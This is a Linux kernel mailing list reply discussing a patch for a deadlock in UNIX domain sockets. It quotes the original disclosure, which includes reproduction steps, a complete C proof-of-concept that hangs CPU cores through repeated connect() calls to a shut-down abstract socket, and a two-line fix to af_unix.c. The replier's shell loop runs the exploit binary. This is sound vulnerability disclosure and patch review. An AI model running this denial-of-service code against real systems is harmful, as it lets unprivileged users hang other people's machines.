Re: [PATCH] AF_UNIX: Fix deadlock on connecting to shutdown socket

[AmÃrico Wang]

On Mon, Oct 19, 2009 at 2:02 PM, Tomoki Sekiyama
<tomoki.sekiyama.qu@xxxxxxxxxxx> wrote:
> Hi,
> I found a deadlock bug in UNIX domain socket, which makes able to DoS
> attack against the local machine by non-root users.
>
> How to reproduce:
> 1. Make a listening AF_UNIX/SOCK_STREAM socket with an abstruct
> Â Ânamespace(*), and shutdown(2) it.
> Â2. Repeat connect(2)ing to the listening socket from the other sockets
> Â Âuntil the connection backlog is full-filled.
> Â3. connect(2) takes the CPU forever. If every core is taken, the
> Â Âsystem hangs.
>
> PoC code: (Run as many times as cores on SMP machines.)


Interesting...

I tried this with the following command:

% for i in `seq 1 $(grep processor -c /proc/cpuinfo)`;
do ./unix-socket-dos-exploit; echo "=====$i====";done
Connection OK
Connection OK
=====1====
Connection OK
Connection OK
=====2====
Connection OK
Connection OK
=====3====
Connection OK
Connection OK
=====4====

My system doesn't hang at all.

Am I missing something?

Thanks!

>
> int main(void)
> {
> Â Â Â Âint ret;
> Â Â Â Âint csd;
> Â Â Â Âint lsd;
> Â Â Â Âstruct sockaddr_un sun;
>
> Â Â Â Â/* make an abstruct name address (*) */
> Â Â Â Âmemset(&sun, 0, sizeof(sun));
> Â Â Â Âsun.sun_family = PF_UNIX;
> Â Â Â Âsprintf(&sun.sun_path[1], "%d", getpid());
>
> Â Â Â Â/* create the listening socket and shutdown */
> Â Â Â Âlsd = socket(AF_UNIX, SOCK_STREAM, 0);
> Â Â Â Âbind(lsd, (struct sockaddr *)&sun, sizeof(sun));
> Â Â Â Âlisten(lsd, 1);
> Â Â Â Âshutdown(lsd, SHUT_RDWR);
>
> Â Â Â Â/* connect loop */
> Â Â Â Âalarm(15); /* forcely exit the loop after 15 sec */
> Â Â Â Âfor (;;) {
> Â Â Â Â Â Â Â Âcsd = socket(AF_UNIX, SOCK_STREAM, 0);
> Â Â Â Â Â Â Â Âret = connect(csd, (struct sockaddr *)&sun, sizeof(sun));
> Â Â Â Â Â Â Â Âif (-1 == ret) {
> Â Â Â Â Â Â Â Â Â Â Â Âperror("connect()");
> Â Â Â Â Â Â Â Â Â Â Â Âbreak;
> Â Â Â Â Â Â Â Â}
> Â Â Â Â Â Â Â Âputs("Connection OK");
> Â Â Â Â}
> Â Â Â Âreturn 0;
> }
>
> (*) Make sun_path[0] = 0 to use the abstruct namespace.
> Â ÂIf a file-based socket is used, the system doesn't deadlock because
> Â Âof context switches in the file system layer.
>
> Why this happens:
> ÂError checks between unix_socket_connect() and unix_wait_for_peer() are
> Âinconsistent. The former calls the latter to wait until the backlog is
> Âprocessed. Despite the latter returns without doing anything when the
> Âsocket is shutdown, the former doesn't check the shutdown state and
> Âjust retries calling the latter forever.
>
> Patch:
> ÂThe patch below adds shutdown check into unix_socket_connect(), so
> Âconnect(2) to the shutdown socket will return -ECONREFUSED.
>
> Signed-off-by: Tomoki Sekiyama <tomoki.sekiyama.qu@xxxxxxxxxxx>
> Signed-off-by: Masanori Yoshida <masanori.yoshida.tv@xxxxxxxxxxx>
> ---
> Ânet/unix/af_unix.c | Â Â2 ++
> Â1 files changed, 2 insertions(+), 0 deletions(-)
>
> diff --git a/net/unix/af_unix.c b/net/unix/af_unix.c
> index 51ab497..fc820cd 100644
> --- a/net/unix/af_unix.c
> +++ b/net/unix/af_unix.c
> @@ -1074,6 +1074,8 @@ restart:
> Â Â Â Âerr = -ECONNREFUSED;
> Â Â Â Âif (other->sk_state != TCP_LISTEN)
> Â Â Â Â Â Â Â Âgoto out_unlock;
> + Â Â Â if (other->sk_shutdown & RCV_SHUTDOWN)
> + Â Â Â Â Â Â Â goto out_unlock;
>
> Â Â Â Âif (unix_recvq_full(other)) {
> Â Â Â Â Â Â Â Âerr = -EAGAIN;
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@xxxxxxxxxxxxxxx
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/